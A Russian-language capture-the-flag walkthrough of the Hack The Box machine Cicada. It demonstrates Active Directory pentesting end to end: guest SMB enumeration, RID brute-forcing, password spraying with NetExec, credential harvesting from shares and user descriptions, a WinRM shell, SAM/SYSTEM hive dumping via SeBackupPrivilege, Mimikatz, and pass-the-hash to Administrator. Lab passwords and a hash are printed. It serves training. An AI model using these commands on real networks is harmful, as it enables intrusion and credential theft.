Се­год­ня на при­мере нес­ложной лабора­тор­ной работы я про­демонс­три­рую базовые тех­ники работы с Active Directory при пен­тестах. Мы получим информа­цию через нулевую сес­сию SMB, про­ведем раз­ведку и зах­ватим акка­унт адми­нис­тра­тора через при­виле­гию SeBackupPrivilege.

На­ша цель — про­хож­дение машины Cicada с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — лег­кий.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.35 cicada.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел девять откры­тых пор­тов:

Пер­вым делом c помощью ути­литы NetExec авто­ризу­емся от име­ни ано­нима для служ­бы SMB.

nxc smb 10.10.11.35 -u guest -p ''
Проверка анонимного доступа
Про­вер­ка ано­ним­ного дос­тупа

Ав­ториза­ция прош­ла успешно, поп­робу­ем соб­рать дан­ные.

Точка входа

Для начала получим спи­сок общих ресур­сов SMB. Для NetExec есть параметр --shares.

nxc smb 10.10.11.35 -u guest -p '' --shares
Общие SMB-каталоги
Об­щие SMB-катало­ги

Так­же мы можем переб­рать RID объ­ектов домена и получить име­на групп и поль­зовате­лей домена. Для это­го исполь­зуем параметр --rid-brute.

nxc smb 10.10.11.35 -u guest -p '' --rid-brute
Объекты домена
Объ­екты домена

Сох­раня­ем поль­зовате­лей в отдель­ный файл, так как они нам еще при­годят­ся. А затем с помощью smbclient из пакета Impacket прос­матри­ваем содер­жимое обще­го катало­га HR, так как он дос­тупен для чте­ния. Там все­го один файл, ска­чива­ем его на локаль­ный хост.

smbclient.py ./guest:''@10.10.11.35
use HR
get Notice from HR.txt
Загрузка файла с SMB-ресурса
Заг­рузка фай­ла с SMB-ресур­са

Внут­ри фай­ла есть дефол­тный пароль для орга­низа­ции.

Содержимое файла Notice from HR.txt
Со­дер­жимое фай­ла Notice from HR.txt

Мож­но пред­положить, что есть поль­зовате­ли, которые его не изме­нили. Прос­пре­им най­ден­ный пароль по всем получен­ным ранее логинам. Для это­го сно­ва обра­тим­ся к NetExec. Что­бы перебор про­дол­жался пос­ле обна­руже­ния пер­вой валид­ной учет­ки, нуж­но ука­зать параметр --continue-on-success.

nxc smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
Результат подбора логина к паролю
Ре­зуль­тат под­бора логина к паролю

В резуль­тате получа­ем пер­вую пол­ноцен­ную учет­ную запись, с которой мож­но опра­шивать кон­трол­лер домена.

Пер­вым делом обра­тим вни­мание на опи­сание учет­ных записей поль­зовате­лей, пос­коль­ку там час­то мож­но най­ти инте­рес­ную информа­цию. Для получе­ния важ­ной информа­ции о поль­зовате­лях при­меня­ем параметр --users.

nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
Информация о пользователях домена
Ин­форма­ция о поль­зовате­лях домена

В опи­сании учет­ной записи david.orelious находим еще один пароль. Его тоже про­гоня­ем по всем логинам.

nxc smb 10.10.11.35 -u users.txt -p 'aRt$Lp#7t*VQ!3' --continue-on-success
Результат подбора логина к паролю
Ре­зуль­тат под­бора логина к паролю

Од­нако получа­ем под­твержде­ние толь­ко для учет­ной записи david.orelious.

Продвижение

Так как мы ком­про­мети­руем новые учет­ные записи, сто­ит обя­затель­но про­верить их пра­ва на общие SMB-ресур­сы. От име­ни поль­зовате­ля michael.wrightson ничего нового не уви­дим, а вот учет­ной записи david.orelious дос­тупен для чте­ния общий каталог DEV.

nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
Проверка прав от имени пользователя michael.wrightson
Про­вер­ка прав от име­ни поль­зовате­ля michael.wrightson
nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
Проверка прав от имени пользователя david.orelious
Про­вер­ка прав от име­ни поль­зовате­ля david.orelious

Под­клю­чаем­ся к SMB и про­веря­ем содер­жимое. В катало­ге DEV находит­ся скрипт на PowerShell, который мы, конеч­но же, забира­ем на локаль­ную машину для ана­лиза.

smbclient.py 'cicada.htb/david.orelious:aRt$Lp#7t*VQ!3'@10.10.11.35
Загрузка файла Backup_script.ps1
Заг­рузка фай­ла Backup_script.ps1
Содержимое файла Backup_script.ps1
Со­дер­жимое фай­ла Backup_script.ps1

Скрипт архи­виру­ет каталог C:\smb и кла­дет архив в D:\Backup. В этом скрип­те есть кре­ды учет­ной записи emily.oscars, которые никак не исполь­зуют­ся. Спре­им най­ден­ный пароль по всем поль­зовате­лям и валиди­руем все­го одну учет­ную запись.

nxc smb 10.10.11.35 -u users.txt -p 'Q!3@Lp#M6b*7t*Vt' --continue-on-success
Результат подбора логина к паролю
Ре­зуль­тат под­бора логина к паролю

Про­верим, нет ли у этой учет­ки воз­можнос­ти управле­ния через служ­бу WinRM. NetExec под­держи­вает в том чис­ле и про­токол WinRM.

nxc winrm 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Валидация учетной записи в службе WinRM
Ва­лида­ция учет­ной записи в служ­бе WinRM

По­луча­ем сес­сию через Evil-WinRM и добыва­ем пер­вый флаг.

evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Флаг пользователя
Флаг поль­зовате­ля

Локальное повышение привилегий

По­лучим информа­цию о поль­зовате­ле, его при­виле­гиях и груп­пах с помощью коман­ды whoami /all.

Информация о пользователе
Ин­форма­ция о поль­зовате­ле

Поль­зователь сос­тоит в груп­пе Backup Operators, и у него активна при­виле­гия SeBackupPrivilege. Эта при­виле­гия поз­воля­ет про­цес­су получить дос­туп к любому фай­лу в сис­теме для резер­вно­го копиро­вания в режиме обхо­да спис­ков управле­ния дос­тупом (ACL). SeBackupPrivilege опас­на и поз­воля­ет нам сдам­пить такие фай­лы, как SAM и SYSTEM. Из фай­ла SAM мож­но извлечь зашиф­рован­ные хеши паролей учет­ных записей, а из SYSTEM — клю­чи для рас­шифро­вания этих хешей. Ско­пиру­ем фай­лы из реес­тра HKLM.

reg save hklm\sam .\sam
reg save hklm\system .\system
Копирование файлов из реестра
Ко­пиро­вание фай­лов из реес­тра

А теперь исполь­зуем извес­тную ути­литу Mimikatz для получе­ния локаль­ных учет­ных дан­ных.

.\mimi.exe "lsadump::sam /sam:sam /system:system"
Дамп учетных данных
Дамп учет­ных дан­ных

В выводе находим хеш пароля учет­ной записи Administrator и с его помощью авто­ризу­емся в служ­бе WinRM.

evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Флаг рута
Флаг рута

Ма­шина зах­вачена!